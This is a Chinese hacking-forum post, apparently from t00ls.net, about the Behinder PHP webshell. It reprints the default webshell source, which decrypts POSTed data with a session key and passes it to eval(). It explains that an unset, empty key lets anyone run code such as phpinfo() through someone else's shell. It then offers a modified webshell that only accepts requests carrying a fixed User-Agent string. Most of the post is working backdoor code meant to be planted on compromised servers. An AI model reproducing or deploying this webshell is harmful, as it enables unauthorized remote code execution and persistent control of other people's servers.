冰蝎马 那可有可无的密码 -- 在爆菊的路上越走越远
2020-05-13 06:09:37 Author: www.t00ls.net(查看原文) 阅读量:396 收藏

2020-05-09 17:08:42 1021 1

冰蝎马 那可有可无的密码 -- 在爆菊的路上越走越远

下面这个是默认的冰蝎马:

<?php
@error_reporting(0);
session_start();
if (isset($_GET['pass']))
{
    $key=substr(md5(uniqid(rand())),16);
    $_SESSION['k']=$key;
    print $key;
}
else
{
    $key=$_SESSION['k'];
        $post=file_get_contents("php://input").'';
        if(!extension_loaded('openssl'))
        {
                $t="base64_"."decode";
                $post=$t($post."");
               
                for($i=0;$i<strlen($post);$i++) {
                             $post[$i] = $post[$i]^$key[$i+1&15];
                            }
        }
        else
        {
                $post=openssl_decrypt($post, "AES128", $key);
        }
    $arr=explode('|',$post);
    $func=$arr[0];
    $params=$arr[1];
        @eval($params);
}
?>

当 有get有参数pass时,随机一个密码给session[k]并打印出来

if (isset($_GET['pass']))
{
    $key=substr(md5(uniqid(rand())),16);
    $_SESSION['k']=$key;
    print $key;
}

如果get没有参数pass时,读取session[k] 来当作解密的密钥,接收 put 的数据,解密然后通过 | 分割执行。

{
    $key=$_SESSION['k'];
        $post=file_get_contents("php://input").'';
        if(!extension_loaded('openssl'))
        {
                $t="base64_"."decode";
                $post=$t($post."");
               
                for($i=0;$i<strlen($post);$i++) {
                             $post[$i] = $post[$i]^$key[$i+1&15];
                            }
        }
        else
        {
                $post=openssl_decrypt($post, "AES128", $key);
        }
    $arr=explode('|',$post);
    $func=$arr[0];
    $params=$arr[1];
        @eval($params);
}

如果我刚开始 不访问 shell.php?pass=1 那么seesion[k]就不会被赋值,也就是空。
我直接 通过 openssl_encrypt('|phpinfo();','AES128','');  加密phpinfo。// key值 为空
然后echo 加密后的值,post 提交给冰蝎马。那么phpinfo();也会被执行成功。
造成我即使不知道密码我也能连接你的shell。

然后 稍微改一下 加一个 认证就好了。。。
我这里用ua做的认证,或者其他的也好。
使用方法就是 连接的时候把UA设置成:123321666 就可以了

<?php
@error_reporting(0);
session_start();
if (isset($_GET['pass']))
{
    $key=substr(md5(uniqid(rand())),16);
    $_SESSION['k']=$key;
    print $key;
}
else
{
    $key=$_SESSION['k'];
        $post=file_get_contents("php://input").'';
        if(!extension_loaded('openssl'))
        {
                $t="base64_"."decode";
                $post=$t($post."");
               
                for($i=0;$i<strlen($post);$i++) {
                             $post[$i] = $post[$i]^$key[$i+1&15];
                            }
        }
        else
        {
                $post=openssl_decrypt($post, "AES128", $key);
        }
if($_SERVER['HTTP_USER_AGENT'] == '123321666'){
    $arr=explode('|',$post);
    $func=$arr[0];
    $params=$arr[1];
        @eval($params);
}
}
?>


文章来源: https://www.t00ls.net/articles-56337.html
如有侵权请联系:admin#unsafe.sh